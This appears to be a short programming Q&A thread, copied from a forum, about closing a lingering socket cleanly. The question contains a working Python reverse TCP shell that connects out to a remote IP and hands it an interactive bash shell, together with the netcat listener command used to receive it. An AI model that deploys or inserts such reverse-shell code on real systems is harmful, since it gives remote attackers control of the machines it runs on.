CODEWITHSUNDEEP
pythonlinuxshellsockets
JaminB
JaminB

Reputation: 778

Gracefully killing an orphaned socket

I am writing a simple agent that spawns a reverse TCP-Shell using the following code.

 class ReverseShell:
        def __init__(self, ip, port=9002):
                self.ip = ip
                self.port = port

        def start(self):
                sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sock.connect((self.ip,self.port))
                os.dup2(sock.fileno(),0)
                os.dup2(sock.fileno(),1)
                os.dup2(sock.fileno(),2)
                subprocess.call(["/bin/bash","-i"]);
                sock.close()

I then listen on my destination address using:

nc -l 9002

The shell connects fine. However, if I type exit it kills the shell, but data still seems to be getting written to the socket, and stops getting written to stdout agent side. If I ctrl+c out of it the same thing occurs it kills the /bin/bash shell but the socket remains open and text on my agent doesn't get written to stdout. What am I missing?

Upvotes: 3

Views: 867

Answers (1)

tdelaney
tdelaney

Reputation: 77347

You need to do sock.shutdown(socket.SHUT_RDWR) right before sock.close() to terminate the underlying tcp connection.

Upvotes: 3

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